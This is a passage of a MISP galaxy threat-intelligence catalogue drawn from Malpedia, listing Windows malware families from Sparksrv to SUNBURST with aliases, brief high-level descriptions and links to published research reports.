The tag is: *misp-galaxy:malpedia="Sparksrv"*

Sparksrv is also known as:

Table 3147. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparksrv
https://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/luckycat-redux-campaign-attacks-multiple-targets-in-india-and-japan

SparrowDoor

The tag is: *misp-galaxy:malpedia="SparrowDoor"*

SparrowDoor is also known as:

- FamousSparrow

Table 3148. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sparrow_door
https://www.ncsc.gov.uk/files/NCSC-MAR-SparrowDoor.pdf
https://www.welivesecurity.com/2021/09/23/famoussparrow-suspicious-hotel-guest/

Spartacus

Spartacus is ransomware written in .NET and emerged in the first half of 2018.

The tag is: *misp-galaxy:malpedia="Spartacus"*

Spartacus is also known as:

Table 3149. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.spartacus
https://bartblaze.blogspot.com/2018/04/this-is-spartacus-new-ransomware-on.html

Spectre Rat

Mixed RAT and Botnet malware sold in underground forums. In march 2021 it was advertised with the Spectre 2.0, it reached version 3 in June 2021 and then quickly version 4. This crimeware tool was being abused in malicious campaigns targeting European users in September 2021.

The tag is: *misp-galaxy:malpedia="Spectre Rat"*

Spectre Rat is also known as:

Table 3150. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spectre
https://yoroi.company/research/spectre-v4-0-the-speed-of-malware-threats-after-the-pandemics/

Spedear

The tag is: *misp-galaxy:malpedia="Spedear"*

Spedear is also known as:

Table 3151. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spedear
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Spicy Hot Pot

The tag is: *misp-galaxy:malpedia="Spicy Hot Pot"*

Spicy Hot Pot is also known as:

Table 3152. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spicyhotpot
https://www.crowdstrike.com/blog/spicy-hot-pot-rootkit-explained/

SPIDERPIG RAT

The tag is: *misp-galaxy:malpedia="SPIDERPIG RAT"*

SPIDERPIG RAT is also known as:

Table 3153. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat
https://twitter.com/nahamike01/status/1471496800582664193?s=20
https://jsac.jpcert.or.jp/archive/2022/pdf/JSAC2022_8_hara_en.pdf

Spora

The tag is: *misp-galaxy:malpedia="Spora"*

Spora is also known as:

Table 3154. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spora_ransom
https://github.com/MinervaLabsResearch/SporaVaccination
https://nakedsecurity.sophos.com/2017/06/26/how-spora-ransomware-tries-to-fool-antivirus/
https://www.linkedin.com/pulse/spora-ransomware-understanding-hta-infection-vector-kevin-douglas
https://www.gdatasoftware.com/blog/2017/01/29442-spora-worm-and-ransomware
https://blog.malwarebytes.com/threat-analysis/2017/03/spora-ransomware/
http://malware-traffic-analysis.net/2017/01/17/index2.html

SpyBot

The tag is: *misp-galaxy:malpedia="SpyBot"*

SpyBot is also known as:

Table 3155. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spybot

Spyder

The tag is: *misp-galaxy:malpedia="Spyder"*

Spyder is also known as:

Table 3156. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyder
https://securitynews.sonicwall.com/xmlpost/chinas-winnti-spyder-module/
https://st.drweb.com/static/new-www/news/2021/march/BackDoor.Spyder.1_en.pdf
https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan/
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques
https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf
https://vms.drweb.com/virus/?i=23648386

SpyEye

SpyEye is a malware targeting both Microsoft Windows browsers and Apple iOS Safari. Originated in Russia, it was available in dark forums for $500+ claiming to be the "The Next Zeus Malware". It performed many functionalities typical from bankers trojan such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), http access, Pop3 grabbers and FTP grabbers. SpyEye allowed hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.

The tag is: *misp-galaxy:malpedia="SpyEye"*

SpyEye is also known as:

Table 3157. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.spyeye
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan%3AWin32%2FSpyeye
https://securelist.com/financial-cyberthreats-in-2020/101638/
https://krebsonsecurity.com/2010/04/spyeye-vs-zeus-rivalry/
https://www.sans.org/reading-room/whitepapers/malicious/clash-titans-zeus-spyeye-33393
https://www.f5.com/labs/articles/education/banking-trojans-a-reference-guide-to-the-malware-family-tree
https://www.computerworld.com/article/2509482/spyeye-trojan-defeating-online-banking-defenses.html
https://krebsonsecurity.com/2010/09/spyeye-botnets-bogus-billing-feature/
http://malwareint.blogspot.com/2010/02/spyeye-bot-part-two-conversations-with.html
https://www.justice.gov/opa/pr/four-individuals-plead-guilty-rico-conspiracy-involving-bulletproof-hosting-cybercriminals

https://www.pcworld.com/article/247252/spyeye_malware_borrows_zeus_trick_to_mask_fraud.html
https://www.symantec.com/connect/blogs/spyeye-bot-versus-zeus-bot
https://krebsonsecurity.com/2011/04/spyeye-targets-opera-google-chrome-users/

Squirrelwaffle

According to Sophos, Squirrelwaffle is a malware loader that is distributed as a malicious Office document in spam campaigns. It provides attackers with an initial foothold in a victim's environment and a channel to deliver and infect systems with other malware. When a recipient opens a Squirrelwaffle-infected document and enables macros, a visual basic script typically downloads and executes malicious files and scripts, giving further control of the computer to an attacker. Squirrelwaffle operators also use DocuSign to try and trick the user into enabling macros in Office documents.

The tag is: *misp-galaxy:malpedia="Squirrelwaffle"*

Squirrelwaffle is also known as:

- DatopLoader

Table 3158. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle
https://www.malware-traffic-analysis.net/2021/09/17/index.html
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-main-loader/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/the-newest-malicious-actor-squirrelwaffle-malicious-doc/
https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike
https://www.sentinelone.com/blog/is-squirrelwaffle-the-new-emotet-how-to-detect-the-latest-malspam-loader/
https://redcanary.com/blog/intelligence-insights-november-2021/
https://twitter.com/Max_Mal_/status/1442496131410190339
https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf
https://redcanary.com/blog/intelligence-insights-december-2021
https://blogs.blackberry.com/en/2021/11/threat-thursday-squirrelwaffle-loader
https://www.cynet.com/understanding-squirrelwaffle/
https://blog.talosintelligence.com/2021/10/squirrelwaffle-emerges.html

https://certitude.consulting/blog/en/unpatched-exchange-servers-distribute-phishing-links-squirrelwaffle/
https://www.cybereason.com/blog/threat-analysis-report-datoploader-exploits-proxyshell-to-deliver-qbot-and-cobalt-strike
https://elis531989.medium.com/the-squirrel-strikes-back-analysis-of-the-newly-emerged-cobalt-strike-loader-squirrelwaffle-937b73dbd9f9
https://www.0ffset.net/reverse-engineering/malware-analysis/squirrelwaffle-custom-packer/
https://www.youtube.com/watch?v=9X2P7aFKSw0
https://twitter.com/jhencinski/status/1464268732096815105
https://blog.minerva-labs.com/a-new-datoploader-delivers-qakbot-trojan
https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html
https://news.sophos.com/en-us/2022/02/15/vulnerable-exchange-server-hit-by-squirrelwaffle-and-financial-fraud/
https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot
https://security-soup.net/squirrelwaffle-maldoc-analysis/
https://github.com/0xjxd/SquirrelWaffle-From-Maldoc-to-Cobalt-Strike/raw/main/2021-10-02%20-%20SquirrelWaffle%20-%20From%20Maldoc%20to%20Cobalt%20Strike.pdf

SquirtDanger

The tag is: *misp-galaxy:malpedia="SquirtDanger"*

SquirtDanger is also known as:

Table 3159. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.squirtdanger
https://researchcenter.paloaltonetworks.com/2018/04/unit42-squirtdanger-swiss-army-knife-malware-veteran-malware-author-thebottle/

SSHNET

The tag is: *misp-galaxy:malpedia="SSHNET"*

SSHNET is also known as:

Table 3160. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sshnet

https://www.zdnet.com/article/fbi-says-an-iranian-hacking-group-is-attacking-f5-networking-devices
https://www.crowdstrike.com/blog/who-is-pioneer-kitten/
https://www.clearskysec.com/wp-content/uploads/2020/02/ClearSky-Fox-Kitten-Campaign.pdf

SslMM

The tag is: *misp-galaxy:malpedia="SslMM"*

SslMM is also known as:

Table 3161. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sslmm
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2015/TheNaikonAPT-MsnMM1.pdf

Stabuniq

The tag is: *misp-galaxy:malpedia="Stabuniq"*

Stabuniq is also known as:

Table 3162. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stabuniq
https://www.symantec.com/connect/blogs/trojanstabuniq-found-financial-institution-servers
http://contagiodump.blogspot.com/2012/12/dec-2012-trojanstabuniq-samples.html

StalinLocker

The tag is: *misp-galaxy:malpedia="StalinLocker"*

StalinLocker is also known as:

- StalinScreamer

Table 3163. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stalin_locker

https://www.bleepingcomputer.com/news/security/stalinlocker-deletes-your-files-unless-you-enter-the-right-code/

Stampedo

The tag is: *misp-galaxy:malpedia="Stampedo"*

Stampedo is also known as:

Table 3164. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stampedo
https://www.bleepingcomputer.com/news/security/stampado-ransomware-campaign-decrypted-before-it-started/

StarCruft

The tag is: *misp-galaxy:malpedia="StarCruft"*

StarCruft is also known as:

Table 3165. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starcruft
https://securelist.com/operation-daybreak/75100/

StarLoader

The tag is: *misp-galaxy:malpedia="StarLoader"*

StarLoader is also known as:

Table 3166. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starloader
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

StarsyPound

The tag is: *misp-galaxy:malpedia="StarsyPound"*

StarsyPound is also known as:

Table 3167. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.starsypound
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

StartPage

Potentially unwanted program that changes the startpage of browsers to induce ad impressions.

The tag is: *misp-galaxy:malpedia="StartPage"*

StartPage is also known as:

- Easy Television Access Now

Table 3168. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.startpage
https://www.bleepingcomputer.com/virus-removal/remove-search-searchetan.com-chrome-new-tab-page

STASHLOG

Malware that abuses the Common Log File System (CLFS) to store/hide a second stage payload via registry transaction files.

The tag is: *misp-galaxy:malpedia="STASHLOG"*

STASHLOG is also known as:

Table 3169. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stashlog
https://twitter.com/ESETresearch/status/1433819369784610828
https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html
https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques
https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive

StealBit

This is a stealer used by LockBit 2.0.

The tag is: *misp-galaxy:malpedia="StealBit"*

StealBit is also known as:

- Corrempa

Table 3170. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealbit
https://www.cybereason.com/blog/threat-analysis-report-inside-the-lockbit-arsenal-the-stealbit-exfiltration-tool
https://twitter.com/r3c0nst/status/1425875923606310913
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://yoroi.company/research/hunting-the-lockbit-gangs-exfiltration-infrastructures/

Stealer0x3401

According to PTSecurity, this stealer harvests system information which is then RC4 encrypted and Base64 encoded before sending it to the C2 server.

The tag is: *misp-galaxy:malpedia="Stealer0x3401"*

Stealer0x3401 is also known as:

Table 3171. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealer_0x3401
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/apt31-cloud-attacks

StealthWorker Go

The tag is: *misp-galaxy:malpedia="StealthWorker Go"*

StealthWorker Go is also known as:

Table 3172. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stealthworker
https://blog.malwarebytes.com/threat-analysis/2019/02/new-golang-brute-forcer-discovered-amid-rise-e-commerce-attacks/
https://www.bleepingcomputer.com/news/security/synology-warns-of-malware-infecting-nas-devices-with-ransomware/

SteamHide

Malware written in .NET that hides in Steam profile pictures. Tries to evade virtualization through detection if it is executed within VMWare or VirtualBox.

The tag is: *misp-galaxy:malpedia="SteamHide"*

SteamHide is also known as:

Table 3173. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.steamhide
https://www.gdatasoftware.com/blog/steamhide-malware-in-profile-images

StegoLoader

The tag is: *misp-galaxy:malpedia="StegoLoader"*

StegoLoader is also known as:

Table 3174. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stegoloader
https://www.secureworks.com/research/stegoloader-a-stealthy-information-stealer

Stinger

The tag is: *misp-galaxy:malpedia="Stinger"*

Stinger is also known as:

Table 3175. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stinger

StoneDrill

The tag is: *misp-galaxy:malpedia="StoneDrill"*

StoneDrill is also known as:

Table 3176. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stonedrill

https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/shamoon-destructive-threat-re-emerges-new-sting-its-tail
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.crowdstrike.com/blog/the-anatomy-of-wiper-malware-part-1/
https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage

STOP

STOP Djvu Ransomware it is a ransomware which encrypts user data through AES-256 and adds one of the dozen available extensions as marker to the encrypted file's name. It is not used to encrypt the entire file but only the first 5 MB. In its original version it was able to run offline and, in that case, it used a hard-coded key which could be extracted to decrypt files.

The tag is: *misp-galaxy:malpedia="STOP"*

STOP is also known as:

- Djvu
- KeyPass

Table 3177. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stop
https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-april-1st-2022-i-can-fight-with-a-keyboard/
https://github.com/vithakur/detections/blob/main/STOP-ransomware-djvu/IOC-list
https://cybergeeks.tech/a-detailed-analysis-of-the-stop-djvu-ransomware/
https://malienist.medium.com/defendagainst-ransomware-stop-c8cf4116645b
https://securelist.com/keypass-ransomware/87412/
https://securelist.com/story-of-the-year-2019-cities-under-ransomware-siege/95456/
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://www.blackberry.com/content/dam/blackberry-com/asset/enterprise/pdf/wp-spark-state-of-ransomware.pdf
https://www.bleepingcomputer.com/news/security/djvu-ransomware-spreading-new-tro-variant-through-cracks-and-adware-bundles/
https://www.gdata.de/blog/1970/01/-35391-finger-weg-von-illegalen-software-downloads
https://cybleinc.com/2021/06/21/djvu-malware-of-stop-ransomware-family-back-with-new-variant/

https://angle.ankura.com/post/102het9/the-stop-ransomware-variant
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://medium.com/csis-techblog/gcleaner-garbage-provider-since-2019-2708e7c87a8a
https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware
https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/
https://intel471.com/blog/privateloader-malware

Stration

The tag is: *misp-galaxy:malpedia="Stration"*

Stration is also known as:

Table 3178. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stration

Stresspaint

The tag is: *misp-galaxy:malpedia="Stresspaint"*

Stresspaint is also known as:

Table 3179. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stresspaint
https://security.radware.com/malware/stresspaint-malware-targeting-facebook-credentials/
https://www.bleepingcomputer.com/news/security/stresspaint-malware-steals-facebook-credentials-and-session-cookies/
https://blog.radware.com/security/2018/04/stresspaint-malware-campaign-targeting-facebook-credentials/
https://arstechnica.com/information-technology/2018/04/tens-of-thousands-of-facebook-accounts-compromised-in-days-by-malware/

StrifeWater RAT

The tag is: *misp-galaxy:malpedia="StrifeWater RAT"*

StrifeWater RAT is also known as:

Table 3180. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strifewater_rat
https://www.fortinet.com/blog/threat-research/guard-your-drive-from-driveguard
https://www.cybereason.com/blog/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations

StrongPity

The tag is: *misp-galaxy:malpedia="StrongPity"*

StrongPity is also known as:

Table 3181. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.strongpity
https://www.welivesecurity.com/2017/12/08/strongpity-like-spyware-replaces-finfisher/
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://ti.qianxin.com/blog/articles/promethium-attack-activity-analysis-disguised-as-Winrar.exe/
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
https://cybleinc.com/2020/12/31/strongpity-apt-extends-global-reach-with-new-infrastructure/
https://mp.weixin.qq.com/s/5No0TR4ECVPp_Xv4joXEBg
https://twitter.com/physicaldrive0/status/786293008278970368
https://securelist.com/blog/research/76147/on-the-strongpity-waterhole-attacks-targeting-italian-and-belgian-encryption-users/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://0xthreatintel.medium.com/uncovering-apt-c-41-strongpity-backdoor-e7f9a7a076f4
https://blog.minerva-labs.com/a-new-strongpity-variant-hides-behind-notepad-installation
https://anchorednarratives.substack.com/p/recover-your-files-with-strongpity
https://mp.weixin.qq.com/s/nQVUkIwkiQTj2pLaNYHeOA
https://anchorednarratives.substack.com/p/tracking-strongpity-with-yara
https://blogs.blackberry.com/en/2021/11/zebra2104
https://citizenlab.ca/2018/03/bad-traffic-sandvines-packetlogic-devices-deploy-government-spyware-turkey-syria/

Stuxnet

The tag is: *misp-galaxy:malpedia="Stuxnet"*

Stuxnet is also known as:

Table 3182. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.stuxnet
https://www.atlanticcouncil.org/wp-content/uploads/2020/07/Breaking-trust-Shades-of-crisis-across-an-insecure-software-supply-chain.pdf
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf
https://www.welivesecurity.com/media_files/white-papers/Stuxnet_Under_the_Microscope.pdf
https://news.yahoo.com/revealed-how-a-secret-dutch-mole-aided-the-us-israeli-stuxnet-cyber-attack-on-iran-160026018.html
https://storage.googleapis.com/chronicle-research/STUXSHOP%20Stuxnet%20Dials%20In%20.pdf
https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf
https://www.codeproject.com/articles/246545/stuxnet-malware-analysis-paper
https://www.domaintools.com/resources/blog/visibility-monitoring-and-critical-infrastructure-security
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://medium.com/s2wlab/w3-may-en-story-of-the-week-code-signing-certificate-on-the-darkweb-94c7ec437001
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf
http://artemonsecurity.blogspot.de/2017/04/stuxnet-drivers-detailed-analysis.html
https://www.spiegel.de/netzwelt/web/die-erste-cyberwaffe-und-ihre-folgen-a-a0ed08c9-5080-4ac2-8518-ed69347dc147
https://fmmresearch.files.wordpress.com/2020/09/theemeraldconnectionreport_fmmr-2.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://symantec.broadcom.com/hubfs/Attacks-Against-Critical_Infrastructrure.pdf
https://fmmresearch.wordpress.com/2020/09/28/the-emerald-connection-equationgroup-collaboration-with-stuxnet/
https://media.ccc.de/v/27c3-4245-en-adventures_in_analyzing_stuxnet

Subzero

The tag is: *misp-galaxy:malpedia="Subzero"*

Subzero is also known as:

- Corelump
- Jumplump

Table 3183. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.subzero
https://cdn.netzpolitik.org/wp-upload/2021/12/2018-08-28_DSIRF_Company-Profile-Gov.redacted.pdf
https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/
https://www.focus.de/politik/vorab-aus-dem-focus-volle-kontrolle-ueber-zielcomputer-das-raetsel-um-die-spionage-app-fuehrt-ueber-wirecard-zu-putin_id_24442733.html
https://netzpolitik.org/2021/dsirf-wir-enthuellen-den-staatstrojaner-subzero-aus-oesterreich/

SUCEFUL

The tag is: *misp-galaxy:malpedia="SUCEFUL"*

SUCEFUL is also known as:

Table 3184. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.suceful
https://www.fireeye.com/blog/threat-research/2015/09/suceful_next_genera.html
https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf

Sugar

Ransomware, written in Delphi.

The tag is: *misp-galaxy:malpedia="Sugar"*

Sugar is also known as:

Table 3185. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugar
https://cyware.com/news/newly-found-sugar-ransomware-is-now-being-offered-as-raas-641cfa69
https://medium.com/s2wblog/tracking-sugarlocker-ransomware-3a3492353c49
https://medium.com/walmartglobaltech/sugar-ransomware-a-new-raas-a5d94d58d9fb

SUGARDUMP

According to Mandiant, SUGARDUMP is a credential harvesting utility, capable of password collection from Chromium-based browsers. There are also versions to exfiltrate data via SMTP and HTTP.

The tag is: *misp-galaxy:malpedia="SUGARDUMP"*

SUGARDUMP is also known as:

Table 3186. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugardump
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

SUGARRUSH

According to Mandiant, SUGARUSH is a backdoor written to establish a connection with an embedded C2 and to execute CMD commands.

The tag is: *misp-galaxy:malpedia="SUGARRUSH"*

SUGARRUSH is also known as:

Table 3187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sugarrush
https://www.mandiant.com/resources/suspected-iranian-actor-targeting-israeli-shipping

SUNBURST

FireEye describes SUNBURST as a trojanized SolarWinds digitally-signed component of the Orion software framework that contains a backdoor that communicates via HTTP to third party servers. After an initial dormant period of up to two weeks, it uses a DGA to generate specific subdomains for a set C&C domain. The backdoor retrieves and executes commands, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The C2 traffic to the malicious domains is designed to mimic normal SolarWinds API communications: Orion Improvement Program (OIP) protocol. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. Multiple trojanzied updates were digitally signed from March - May 2020 and posted to the SolarWinds updates website.

The tag is: *misp-galaxy:malpedia="SUNBURST"*

SUNBURST is also known as:

- Solorigate

Table 3188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.sunburst
https://ics-cert.kaspersky.com/reports/2021/01/26/sunburst-industrial-victims/
https://www.fortinet.com/blog/threat-research/what-we-have-learned-so-far-about-the-sunburst-solarwinds-hack
https://www.netresec.com/?page=Blog&month=2020-12&post=Extracting-Security-Products-from-SUNBURST-DNS-Beacons
https://www.youtube.com/watch?v=JoMwrkijTZ8
https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/
https://www.mandiant.com/resources/unc2452-merged-into-apt29
https://youtu.be/Ta_vatZ24Cs?t=59
https://www.domaintools.com/resources/blog/continuous-eruption-further-analysis-of-the-solarwinds-supply-incident
https://therecord.media/solarwinds-says-fewer-than-100-customers-were-impacted-by-supply-chain-attack
https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html
https://pastebin.com/6EDgCKxd
https://github.com/RedDrip7/SunBurst_DGA_Decode
https://www.domaintools.com/resources/blog/change-in-perspective-on-the-utility-of-sunburst-related-network-indicators#
https://blog.prevasio.com/2020/12/sunburst-backdoor-deeper-look-into.html
https://twitter.com/cybercdh/status/1338885244246765569
https://mp.weixin.qq.com/s/v-ekPFtVNZG1W7vWjcuVug
https://www.youtube.com/watch?v=-Vsgmw2G4Wo
https://blog.truesec.com/2021/01/07/avoiding-supply-chain-attacks-similar-to-solarwinds-orions-sunburst
https://github.com/SentineLabs/SolarWinds_Countermeasures
https://vxug.fakedoma.in/samples/Exotic/UNC2452/SolarWinds%20Breach/
https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/
https://www.netresec.com/?page=Blog&month=2020-12&post=Reassembling-Victim-Domain-Fragments-from-SUNBURST-DNS
https://blogs.microsoft.com/on-the-issues/2020/12/17/cyberattacks-cybersecurity-solarwinds-fireeye/

https://www.microsoft.com/security/blog/2021/01/14/increasing-resilience-against-solorigate-and-other-sophisticated-attacks-with-microsoft-defender/
https://www.microsoft.com/security/blog/2021/02/25/microsoft-open-sources-codeql-queries-used-to-hunt-for-solorigate-activity/
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/
https://www.elastic.co/blog/supervised-and-unsupervised-machine-learning-for-dga-detection
https://www.mimecast.com/blog/important-security-update/
https://docs.google.com/spreadsheets/d/1u0_Df5OMsdzZcTkBDiaAtObbIOkMa5xbeXdKk_k0vWs
https://www.youtube.com/watch?v=dV2QTLSecpc
https://blog.prevasio.com/2020/12/sunburst-backdoor-part-iii-dga-security.html
https://threatconnect.com/blog/tracking-sunburst-related-activity-with-threatconnect-dashboards
https://www.picussecurity.com/resource/blog/ttps-used-in-the-solarwinds-breach
https://www.solarwinds.com/securityadvisory/faq
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:MSIL/Solorigate.B!dha
https://github.com/sophos-cybersecurity/solarwinds-threathunt
https://notes.netbytesec.com/2021/01/solarwinds-attack-sunbursts-dll.html
https://blog.apiiro.com/detect-and-prevent-the-solarwinds-build-time-code-injection-attack
https://securelist.com/sunburst-connecting-the-dots-in-the-dns-requests/99862/
https://www.bleepingcomputer.com/news/security/mimecast-links-security-breach-to-solarwinds-hackers/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/additional-analysis-into-the-sunburst-backdoor/
https://www.cisa.gov/news/2021/01/05/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure
https://www.trustedsec.com/blog/solarwinds-orion-and-unc2452-summary-and-recommendations/
https://news.sophos.com/en-us/2020/12/21/how-sunburst-malware-does-defense-evasion/
https://unit42.paloaltonetworks.com/strategically-aged-domain-detection/
https://www.splunk.com/en_us/blog/security/smoothing-the-bumps-of-onboarding-threat-indicators-into-splunk-enterprise-security.html
https://blog.cloudflare.com/a-quirk-in-the-sunburst-dga-algorithm/
https://securelist.com/sunburst-backdoor-kazuar/99981/
https://netresec.com/?b=211f30f
https://blog.truesec.com/2020/12/17/the-solarwinds-orion-sunburst-supply-chain-attack/
https://mp.weixin.qq.com/s/lh7y_KHUxag_-pcFBC7d0Q
https://www.youtube.com/watch?v=cMauHTV-lJg

https://unit42.paloaltonetworks.com/fireeye-solarstorm-sunburst/
https://www.mandiant.com/media/10916/download
https://www.prevasio.io/blog/sunburst-backdoor-part-ii-dga-the-list-of-victims
https://orangematter.solarwinds.com/2021/01/11/new-findings-from-our-investigation-of-sunburst/
https://www.fireeye.com/blog/products-and-services/2021/02/light-in-the-dark-hunting-for-sunburst.html
https://msrc-blog.microsoft.com/2020/12/31/microsoft-internal-solorigate-investigation-update/
https://unit42.paloaltonetworks.com/atoms/solarphoenix/
https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/
https://twitter.com/0xrb/status/1339199268146442241
https://gist.github.com/olafhartong/71ffdd4cab4b6acd5cbcd1a0691ff82f
https://r136a1.info/2022/06/18/using-dotnetfile-to-get-a-sunburst-timeline-for-intelligence-gathering/
https://blog.talosintelligence.com/2020/12/solarwinds-supplychain-coverage.html#more
https://www.a12d404.net/ranting/2021/01/17/msbuild-backdoor.html
https://github.com/github/codeql/tree/main/csharp/ql/src/experimental/Security%20Features/campaign
https://twitter.com/Intel471Inc/status/1339233255741120513
https://drive.google.com/file/d/1R79Q1oC18GmKK8FYBoYEt0vYF7SpsvQI/view
https://www.youtube.com/watch?v=GfbxHy6xnbA
https://twitter.com/megabeets_/status/1339308801112027138
